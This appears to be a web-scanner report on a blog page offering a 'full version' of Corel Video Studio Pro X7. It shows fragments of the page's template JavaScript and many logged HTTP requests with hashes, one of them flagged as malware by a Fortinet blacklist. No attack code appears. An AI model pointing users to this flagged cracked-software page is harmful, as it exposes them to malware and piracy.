        if (p >= (thisNum - displayPageNum - 1) && p < (thisNum + displayPageNum)) {
            if (fFlag == 0 && p == thisNum - 2) {
                if (thisNum == 2) {
                    upPageHtml = labelHtml + upPageWord + '</a></span>'
                } else {
                    upPageHtml = '<span class="showpage"><a href="' + htmlMap[p] + '">' + upPageWord + '</a></span>'
                }
                fFlag++
            }
            if (p == (thisNum - 1)) {
                html += '<span class="showpagePoint">' + thisNum + '</span>'
            } else {
                if (p == 0) {
                    html = labelHtml + '1</a></span>'
                } else {
                    html += '<span class="showpageNum"><a href="' + htmlMap[p] + '">' + (p + 1) + '</a></span>'
                }
            }
            if (eFlag == 0 && p == thisNum) {
                downPageHtml = '<span class="showpage"> <a href="' + htmlMap[p] + '">' + downPageWord + '</a></span>';
                eFlag++
            }
        }
    }
    if (thisNum > 1) {
        if (!isLablePage) {
            html = '' + upPageHtml + ' ' + html + ' '
        } else {
            html = '' + upPageHtml + ' ' + html + ' '
        }
    }
    html = '<div class="showpageArea"><span style="COLOR: #000;" class="showpageOf"> Pages (' + (postNum - 1) + ')</span>' + html;
    if (thisNum < (postNum - 1)) {
        html += downPageHtml
    }
    if (postNum == 1) postNum++;
    html += '</div>';
    var pageArea = document.getElementsByName("pageArea");
    var blogPager = document.getElementById("blog-pager");
    if (postNum <= 2) {
        html = ''
    }
    for (var p = 0; p < pageArea.length; p++) {
        pageArea[p].innerHTML = html
    }
    if (pageArea && pageArea.length > 0) {
        html = ''
    }
    if (blogPager) {
        blogPager.innerHTML = html
    }
}
var home_page_url = location.href;
var thisUrl = home_page_url;
if (thisUrl.indexOf("/search/label/") != -1) {
    if (thisUrl.indexOf("?updated-max") != -1) {
        var lblname1 = thisUrl.substring(thisUrl.indexOf("/search/label/") + 14, thisUrl.indexOf("?updated-max"))
    } else {
        var lblname1 = thisUrl.substring(thisUrl.indexOf("/search/label/") + 14, thisUrl.indexOf("?&max"))
    }
}
var home_page = "/";
if (thisUrl.indexOf("?q=") == -1) {
    if (thisUrl.indexOf("/search/label/") == -1) {
        document.write('<script src="' + home_page + 'feeds/posts/summary?alt=json-in-script&callback=showpageCount&max-results=99999" ><\/script>')
    } else {
        document.write('<script src="' + home_page + 'feeds/posts/full/-/' + lblname1 + '?alt=json-in-script&callback=showpageCount2&max-results=99999" ><\/script>')
    }
}
$(document).ready(function() {
    $('.kuncidunia').html('Template By <a href="http://www.kuncidunia.com/">Kunci Dunia</a>');
    setInterval(function() {
        if (!$('.kuncidunia:visible').length)
            window.location.href = 'http://www.kuncidunia.com/'
    }, 3000)
});
(function(a) {
    a(window).scroll(function() {
        if (a(this).scrollTop() > 280) {
            a("#top").removeAttr("href");
            a("#top").fadeIn()
        } else {
            a("#top").fadeOut()
        }
    });
    a(function() {
        a("#top").click(function() {
            a("html, body").animate({
                scrollTop: 0
            }, "slow");
            return false
        })
    })
})(jQuery); < /script>
                                    

#10 JavaScript::Write (size: 24, repeated: 1) - SHA256: a3ba8250ebf2c8e28e99b0cbcb48488777fa3f512e83a7a56930803eb5d35e05

                                        < xmp style = display: none >
                                    


HTTP Transactions (142)


Request Response
                                        
                                            GET /css?family=Archivo+Narrow:400,700 HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.138
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Expires: Thu, 11 Oct 2018 12:32:08 GMT
Date: Thu, 11 Oct 2018 12:32:08 GMT
Cache-Control: private, max-age=86400
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   247
Md5:    085d360a0892221e9686a5e9f31a2406
Sha1:   b866b45726aeb9f38bc3c7a601e8b2335b3d7cc2
Sha256: fb983d9fe9eae147055fbcbd569915486b94722f4ebb890f2f4c611b7231e6b7
                                        
                                            GET /css?family=Ruda HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.211.138
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Expires: Thu, 11 Oct 2018 12:32:08 GMT
Date: Thu, 11 Oct 2018 12:32:08 GMT
Cache-Control: private, max-age=86400
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   183
Md5:    d2254436ecda7e71c318a957227c945f
Sha1:   a3e28cc9c144f1ce0d9e3b5e5b77ebfaef7597c8
Sha256: 661ce8a4be1099438531ee7b34d6a59b36c84dcc2d39c5d9a30ac2ef29ae34fa
                                        
                                            POST /GTSGIAG3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 107
Content-Type: application/ocsp-request

                                         
                                         172.217.21.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 11 Oct 2018 12:32:08 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   463
Md5:    1a3c2ece30f4421a5e188250e1be49ef
Sha1:   4c67b7968645c07942a7c8b0e1d633a41519fcd2
Sha256: 5bd9b1a435554d0ef7acb5cbc49f2970f5aeaa55dc8c094865c3c3b736aa2ec9
                                        
                                            POST /gsr2 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 112
Content-Type: application/ocsp-request

                                         
                                         172.217.21.174
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Thu, 11 Oct 2018 12:32:08 GMT
Cache-Control: public, max-age=86400
Server: ocsp_responder
Content-Length: 468
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN


--- Additional Info ---
Magic:  data
Size:   468
Md5:    d9d754520ae3340aa37cca6115eee05b
Sha1:   a0320372760d99c762cb2eb4b37f776625ef1b33
Sha256: 7dc8284c51c9a38dc1bf03bd28857ea5336e8f5c564eddbb1c9082ee43c93738
                                        
                                            GET /2014/04/corel-video-studio-pro-x7-full-version.html HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Expires: Thu, 11 Oct 2018 12:32:08 GMT
Date: Thu, 11 Oct 2018 12:32:08 GMT
Cache-Control: private, max-age=0
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Etag: W/"c7376477cfa30fbbda73b84aab2b3aa539659c33d63e81339d52bea1219f9497"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 79653
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   79653
Md5:    d0bc54f3201d4829d7ff1698b2459434
Sha1:   48942072fc521bf55b537a886dcf048047ae1482
Sha256: 588ec557f05b70796429bb9ec2d4c6342df49565673b52a1084603265546f1c0

Alerts:
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /favicon.ico HTTP/1.1 
Host: abduhshare.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

                                         
                                         216.58.211.1
HTTP/1.1 200 OK
Content-Type: image/x-icon
                                        
Expires: Thu, 11 Oct 2018 12:32:08 GMT
Date: Thu, 11 Oct 2018 12:32:08 GMT
Cache-Control: private, max-age=86400
Last-Modified: Mon, 17 Sep 2018 02:54:12 GMT
Etag: W/"c7376477cfa30fbbda73b84aab2b3aa539659c33d63e81339d52bea1219f9497"
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 659
Server: GSE


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   659
Md5:    15fb171d1112694cc00325e7838a013a
Sha1:   27ba01101dba022f6b17c4bb80180650dcae5d76
Sha256: ad434d0e315b509248a0b3db19a902524b3bf985965f81df922ec0ecdd4acae2
                                        
                                            GET /static/v1/widgets/254310735-widget_css_bundle.css HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7524
Date: Thu, 20 Sep 2018 11:23:47 GMT
Expires: Fri, 20 Sep 2019 11:23:47 GMT
Last-Modified: Thu, 20 Sep 2018 00:49:46 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1818501
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   7524
Md5:    5edaca0b90aa2022a9f8cdbdc49e6f4a
Sha1:   42fecf342d6ff79b5f8e206eecb6d54a513188af
Sha256: a8232fd6d263c26f195cb04abf7e127dd3829a510070baf64264314bb47da932
                                        
                                            GET /ajax/libs/jquery/1.7.2/jquery.min.js HTTP/1.1 
Host: ajax.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.21.138
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Content-Length: 33845
Date: Fri, 21 Sep 2018 03:41:20 GMT
Expires: Sat, 21 Sep 2019 03:41:20 GMT
Last-Modified: Tue, 20 Dec 2016 18:17:03 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000, stale-while-revalidate=2592000
Age: 1759849


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   33845
Md5:    ecba2159e8d5d81e570b4971fe51fe8c
Sha1:   a913e04f0f26035465f4c00b2c0942f588d7ce42
Sha256: b61b7050c14fa7ea010db55e53893e9d9cd1191feae6782c14f06a4ce00f5cf7
                                        
                                            GET /dyn-css/authorization.css?targetBlogID=1904001926097169502&zx=b5c9f7ce-dd65-4ceb-9947-2076eab094b7 HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/css; charset=UTF-8
                                        
P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 11 Oct 2018 12:32:09 GMT
Last-Modified: Thu, 11 Oct 2018 12:32:09 GMT
Content-Encoding: gzip
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"
Transfer-Encoding: chunked


--- Additional Info ---
Magic:  gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT)
Size:   21
Md5:    b9afc501fc43fbea335a2dc5d43263a1
Sha1:   7290a2dd6afbf39ecfc35b52dfb32a38fc222994
Sha256: d6e425ca7840c0ab6f26f5fc2822a47e26b4a8bbd104468a9c185bc132b8662f
                                        
                                            GET /-d58ioMc9qIw/AAAAAAAAAAI/AAAAAAAAAD8/cbgPidfKIxs/s35-c/photo.jpg HTTP/1.1 
Host: lh3.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v3f"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 2091
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   2091
Md5:    d58ab388442d541469c2019cd057de5e
Sha1:   23b0d01b8a4fc5ed6f4d3074ca729e0783f79df1
Sha256: 67dd17264484bd52847c6012fb48e0a6cc6b02535deb2d3a6bc5c1d231172569
                                        
                                            GET /-JOsA6GBxSUo/UYYEaSxCqmI/AAAAAAAAGuQ/ddmFpQC26WY/w72-h72-p-k-no-nu/IDM+box.png HTTP/1.1 
Host: 1.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1ae5"
Expires: Wed, 10 Oct 2018 18:57:04 GMT
Content-Disposition: inline;filename="IDM box.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 8402
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  PNG image, 72 x 72, 8-bit/color RGBA, non-interlaced
Size:   8402
Md5:    e67ed3ff6e145f76e7c987466c533928
Sha1:   7017bc6954310b54cc3f322ca91e4d6a988d04d0
Sha256: d7ec3fa13f5aa896c4eccd1ed5951f03d084203885ca9016125d559942f4c8b8
                                        
                                            GET /zFdxGE77vvD2w5xHy6jkVuElKv-U9_9qLkRYK8OnbDeJPtjSZ82UPq5w6hJ-SA=s35 HTTP/1.1 
Host: lh3.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1"
Expires: Wed, 10 Oct 2018 23:52:01 GMT
Content-Disposition: inline;filename="unnamed.png"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 11:52:04 GMT
Server: fife
Content-Length: 1766
X-XSS-Protection: 1; mode=block
Age: 2405
Cache-Control: public, max-age=86400, no-transform


--- Additional Info ---
Magic:  PNG image, 35 x 35, 8-bit/color RGBA, non-interlaced
Size:   1766
Md5:    8205ac0b0f0a29bfedac1bcb4e79f93a
Sha1:   bc2b3e117d5e25a99d522edf53c8d294441a35cf
Sha256: 0963eb43c3d252b47c972245961dc22cd6d8e288551c68be356147e977c6b84f
                                        
                                            GET /-yzUKYBIS5uk/AAAAAAAAAAI/AAAAAAAAHBI/QSkq8Rzu7CY/s35-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v2eaa"
Expires: Thu, 11 Oct 2018 03:21:32 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1240
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1240
Md5:    c3bdd3145514ccb002cbd70d4705fcd1
Sha1:   5403d6fbbd1f6074843ef0267904253eb50a7c6c
Sha256: 6d0a8528ebd38952f013038fa50bd13ba6bed296011e22bda23d61329d5776f4
                                        
                                            GET /img/blank.gif HTTP/1.1 
Host: img1.blogblog.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Accept-Ranges: bytes
Content-Length: 43
Date: Wed, 10 Oct 2018 06:11:12 GMT
Expires: Wed, 17 Oct 2018 06:11:12 GMT
Last-Modified: Tue, 09 Oct 2018 09:24:13 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=604800
Age: 109257


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    325472601571f31e1bf00674c368d335
Sha1:   2daeaa8b5f19f0bc209d976c02bd6acb51b00b0a
Sha256: b1442e85b03bdcaf66dc58c7abb98745dd2687d86350be9a298a1d9382ac849b
                                        
                                            GET /static/v1/jsbin/2567313873-comment_from_post_iframe.js HTTP/1.1 
Host: www.blogger.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         216.58.207.201
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 4392
Date: Fri, 21 Sep 2018 12:35:45 GMT
Expires: Sat, 21 Sep 2019 12:35:45 GMT
Last-Modified: Thu, 20 Sep 2018 18:46:57 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=31536000
Age: 1727784
Alt-Svc: quic=":443"; ma=2592000; v="44,43,39,35"


--- Additional Info ---
Magic:  gzip compressed data, max compression
Size:   4392
Md5:    305114428a62be96c8c7832660edcf59
Sha1:   4dc89aaaad9b5a63b107bc4b2f4b10685b741c9b
Sha256: 6098601fb567e5a9a1eccf904b5bc25fdfee5370b41a227eb5a35e0d30eefaa5
                                        
                                            GET /site_stats/js/s/a?url=www.abduhshare.blogspot.com HTTP/1.1 
Host: xslt.alexa.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         143.204.51.193
HTTP/1.1 200 OK
Content-Type: binary/octet-stream
                                        
Content-Length: 151
Connection: keep-alive
Date: Wed, 25 Jul 2018 16:47:10 GMT
Last-Modified: Fri, 27 Oct 2017 21:53:09 GMT
Etag: "394d6f2c6c2041a2fbcdaad0e525aa7b"
Accept-Ranges: bytes
Server: AmazonS3
Age: 69487
X-Cache: Hit from cloudfront
Via: 1.1 501ad2910f631f0520a6d389d6f053e9.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 4O4R-OHYOgisTwMgkML-m3jvucdzMD2kZTb1vmRTc09CmHufvq4_0g==


--- Additional Info ---
Magic:  ASCII C++ program text
Size:   151
Md5:    394d6f2c6c2041a2fbcdaad0e525aa7b
Sha1:   5c7635c0ed73db3816069025e8b4f7ba84ed45af
Sha256: cd19302865a315df9a57552a585191f452efcbed7b0ab6b6569f4bebb764366e
                                        
                                            GET /-Cm_Cn5M0feU/UZS8RzP4f9I/AAAAAAAAGwM/tK_jwuXRRW4/w72-h72-p-k-no-nu/borland+delphi+2010.jpg HTTP/1.1 
Host: 3.bp.blogspot.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v1b03"
Expires: Wed, 10 Oct 2018 18:57:04 GMT
Content-Disposition: inline;filename="borland delphi 2010.jpg"
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 3909
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   3909
Md5:    297685738998f1532ad047c137292c52
Sha1:   e7b68ed1a749f48bfe3607ec7d789d90b5b2b948
Sha256: 22c2e24daba681a1f79230053ae55afe6e6bbbaec0b2fada5f291564426cb1e3
                                        
                                            GET /-4bybIp0-Xpg/AAAAAAAAAAI/AAAAAAAAAA0/H1zqOXVMkAY/s35-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "vfd"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1415
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1415
Md5:    4499d4c0f650bc40840c9bb5f4f1b294
Sha1:   0cfb8c0f06580bdcbb229826cd2c83c11f2cd0b6
Sha256: cd3cb4adb5b8d5026452136bfc73f5576f4b6c685a82f5cc8799bcf068fe461c
                                        
                                            GET /-9ROsycLaE88/AAAAAAAAAAI/AAAAAAAAABE/l3LiDvAXhm0/s35-c/photo.jpg HTTP/1.1 
Host: lh5.googleusercontent.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://abduhshare.blogspot.com/2014/04/corel-video-studio-pro-x7-full-version.html

                                         
                                         172.217.20.33
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Access-Control-Expose-Headers: Content-Length
Etag: "v11"
Expires: Thu, 11 Oct 2018 21:38:05 GMT
Content-Disposition: inline;filename=""
Vary: Origin
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
X-Content-Type-Options: nosniff
Date: Thu, 11 Oct 2018 12:32:09 GMT
Server: fife
Content-Length: 1888
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400, no-transform
Age: 0


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01
Size:   1888
Md5:    96e53c31409925cd556300a80bbe6ea4
Sha1:   110ba3d42647cbd593d1115a2f8b8def3c68801a
Sha256: 266242c739ca82e2ad16c1400e71c1843f82288a0edcbed42084c26bc8027d8e
                                        
